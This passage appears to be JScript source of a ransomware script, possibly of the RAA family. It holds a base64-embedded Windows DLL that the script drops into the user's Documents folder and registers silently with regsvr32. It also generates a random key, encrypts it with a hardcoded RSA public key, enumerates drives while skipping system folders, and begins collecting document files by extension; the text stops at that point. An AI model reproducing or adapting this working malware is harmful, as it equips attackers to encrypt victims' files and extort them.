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MO5AAAAAAAA4pWbw7kAAAAAAADilZPDuQAAAAAAAM61w7kAAAAAAADigb/DuQAAAAAAAA7DvwAAAAAAABrDvwAAAAAAACbDvwAAAAAAADjDvwAAAAAAAEjDvwAAAAAAAFjDvwAAAAAAAGbDvwAAAAAAAAAAAAAAAAAAw6TDvwAAAAAAAMOGw78AAAAAAAAAAAAAAAAAAOKUpMO/AAAAAAAA4pSAw78AAAAAAADilZPDvwAAAAAAAAAAAAAAAAAAw7fDvwAAAAAAAAAAAAAAAAAADsOWAAAAAAAAGsOWAAAAAAAAKMOWAAAAAAAANMOWAAAAAAAAAAAAAAAAAABOw5YAAAAAAABew5YAAAAAAAAAAAAAAAAAAEFEVkFQSTMyLmRsbAAAOAJSZWdDcmVhdGVLZXlFeEEAfQJSZWdTZXRWYWx1ZUV4QQAAMAJSZWdDbG9zZUtleQBgAlJlZ09wZW5LZXlFeEEAbQJSZWdRdWVyeVZhbHVlRXhBAABHAlJlZ0RlbGV0ZVZhbHVlQQBhAlJlZ09wZW5LZXlFeFcAbgJSZWdRdWVyeVZhbHVlRXhXAABLRVJORUwzMi5kbGwAAM+AAERpc2FibGVUaHJlYWRMaWJyYXJ5Q2FsbHMAUAJHZXRQcm9jZXNzSGVhcAAAegJHZXRTeXN0ZW1JbmZvAM+GAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb24A4pWZAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgAYAkdldE1vZHVsZUZpbGVOYW1lQQAAw6wBR2V0Q29tbWFuZExpbmVBAGYFbHN0cmxlbkEAAF0FbHN0cmNtcGlBAOKVkgJIZWFwQWxsb2MA4pWqBFRsc0FsbG9jAABpAUZyZWVMaWJyYXJ5AOKUmAJIZWFwRnJlZQAA4pSYBFRsc0ZyZWUA4paIBFRsc1NldFZhbHVlAMOpBFNldExhc3RFcnJvcgAABwJHZXRMYXN0RXJyb3IAAGcFbHN0cmxlblcAACYFV2lkZUNoYXJUb011bHRpQnl0ZQBqA011bHRpQnl0ZVRvV2lkZUNoYXIAQwNMb2FkTGlicmFyeVcAAEsCR2V0UHJvY0FkZHJlc3MAAOKJpABFbnRlckNyaXRpY2FsU2VjdGlvbgAAPQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA4pSMBFRsc0dldFZhb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";
function DetectTheSys() {
var WshShell, WshProcEnv, system_architecture, process_architecture;
WshShell = new ActiveXObject("WScript.Shell");
WshProcEnv = WshShell.Environment("Process");
process_architecture = WshProcEnv("PROCESSOR_ARCHITECTURE");
if (process_architecture == "x86") {
system_architecture = WshProcEnv("PROCESSOR_ARCHITEW6432");
return 32;
if (system_architecture == "") {
system_architecture = "x86";
return 32
}
} else {
system_architecture = process_architecture;
return 64
}
}
var r32r64 = DetectTheSys();
var pathss = DropDll(r32r64);
function GetRandomString() {
var separator = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < 5; i++)
separator += possible.charAt(Math.floor(Math.random() * possible.length));
return separator
}
function DropDll(sysspec) {
var shio = new ActiveXObject("WScript.Shell");
var path = shio.SpecialFolders("MyDocuments");
path = path + "\\" + GetRandomString() + ".dll";
var flow = new ActiveXObject("ADODB.Stream");
flow.Open;
flow.Type = 2;
flow.Charset = "437";
var dll = "";
if (sysspec == 32) {
var debased_dll = CryptoJS.enc.Base64.parse(dyn32);
dll = debased_dll.toString(CryptoJS.enc.Utf8)
} else {
var debased_dll = CryptoJS.enc.Base64.parse(dyn64);
dll = debased_dll.toString(CryptoJS.enc.Utf8)
}
flow.WriteText(dll);
flow.SaveToFile(path);
flow.Close;
return path
}
function GenTheRand(path) {
var runer = new ActiveXObject("WScript.shell");
var cmd0 = "%systemroot%\\System32\\regsvr32.exe /i /s ";
var cmd1 = '"' + path + '"';
cmd0 = cmd0 + cmd1;
runer.Run(cmd0, 2, 1);
DWX = new ActiveXObject("DynamicWrapperX.2");
DWX.Register("advapi32.dll", "SystemFunction036", "i=wu", "r=p");
a = DWX.Space(750);
var d = DWX.SystemFunction036(a, 1500);
codes = "";
for (i = 0; i < a.length; ++i)
codes += DWX.NumGet(a, i * 2, "t");
function dec2bin(dec) {
return (dec >>> 0).toString(2)
}
arr = codes.match(/.{1,4}/g);
var cntr_1 = -1;
var res = "";
do {
cntr_1 += 1;
res = res + dec2bin(arr[cntr_1])
} while (cntr_1 < arr.length - 1);
function ui(binaryString) {
var output = '';
for (var i = 0; i < binaryString.length; i += 4) {
var bytes = binaryString.substr(i, 4);
var decimal = parseInt(bytes, 2);
var hex = decimal.toString(16);
output += hex
}
return output
}
var ee = ui(res);
if (ee.length > 2000) {
ee = ee.substring(0, 2000)
} else {
ee = ee
}
return ee
}
var random_bytes = GenTheRand(pathss);
var rand_arr = random_bytes.match(/.{1,100}/g);
function RsaCryptingKey(arrayOfRandom) {
setMaxDigits(262);
key = new RSAKeyPair("10001", "10001", "AB8ED874E6F3632DA11AAB10C484957555D9C711533CE3AECE36E414166A30D7244F50314BA61D19E2C2FB4258EDB353C33FCC88D20A074D2C821CC7722B31A0255B3D33D81C7C085FE8A844749B69752001709C814EC405C9F8CDCEEBCE59B010AED25351BDD3C83E6E2248E48887CB20CF399BE7C795C98A766C74AE6BF77AA65BCEA894A5BA8D212454B694B92C71203B0806871AC0D5C02A80FA4370175B4791A903A798E9D464CA7B85E9B6280EEA008936F01CF27675DE74F160CFCEE933AEA23A0586E27BF03B7828FE6E6FD6383BED63C5247C4F2919E8A4F1730C25DE9AF7C5C127EC03631D0FA440CF9FFA39F6B1CE8C9E499B9810479B4825627B", 2048);
var pointer_RSA = -1;
var CryptedArr = [];
do {
pointer_RSA += 1;
CryptedArr[pointer_RSA] = encryptedString(key, arrayOfRandom[pointer_RSA], RSAAPP.PKCS1Padding) + "|||"
} while (pointer_RSA <= 18);
var CryptedStr = CryptedArr.join("");
CryptedStr = CryptoJS.enc.Utf8.parse(CryptedStr);
CryptedStr = CryptedStr.toString(CryptoJS.enc.Base64);
return CryptedStr
}
var CryptedStr = RsaCryptingKey(rand_arr) + "," + idnum + " - RAA";
function disks() {
var fso, s, n, e, x;
fso = new ActiveXObject("Scripting.FileSystemObject");
e = new Enumerator(fso.Drives);
s = [];
pot: for (; !e.atEnd(); e.moveNext()) {
x = e.item();
if (x.IsReady) {
x = x += "\\\\";
s.push(x)
} else continue pot
}
return (s)
}
function ShowFolderList(path) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var folder = fso.GetFolder(path);
var subFlds = new Enumerator(folder.SubFolders);
var folder_list = "";
var ex_ion1 = "WINDOWS";
var ex_ion2 = "RECYCLER";
var ex_ion3 = "Program Files";
var ex_ion4 = "Program Files (x86)";
var ex_ion5 = "Windows";
var ex_ion6 = "Recycle.Bin";
var ex_ion7 = "RECYCLE.BIN";
var ex_ion8 = "Recycler";
var ex_ion9 = "TEMP";
var ex_ion10 = "APPDATA";
var ex_ion11 = "AppData";
var ex_ion12 = "Temp";
var ex_ion13 = "ProgramData";
var ex_ion14 = "Microsoft";
for (; !subFlds.atEnd(); subFlds.moveNext()) {
if (subFlds.item() == 0) {
null
} else {
if (String(subFlds.item()).indexOf(ex_ion1) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion2) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion3) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion4) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion5) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion6) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion7) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion8) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion9) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion10) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion11) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion12) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion13) >= 0) {
null
} else if (String(subFlds.item()).indexOf(ex_ion14) >= 0) {
null
} else {
folder_list += subFlds.item();
folder_list += separator
}
}
}
return (folder_list)
}
function ShowFilesList(path) {
var kio = new ActiveXObject("Scripting.FileSystemObject");
var file = kio.GetFolder(path);
var col_file = new Enumerator(file.Files);
var file_list = "";
var requa_1 = ".doc";
var requa_2 = ".xls";
var requa_3 = ".rtf";
var requa_4 = ".pdf";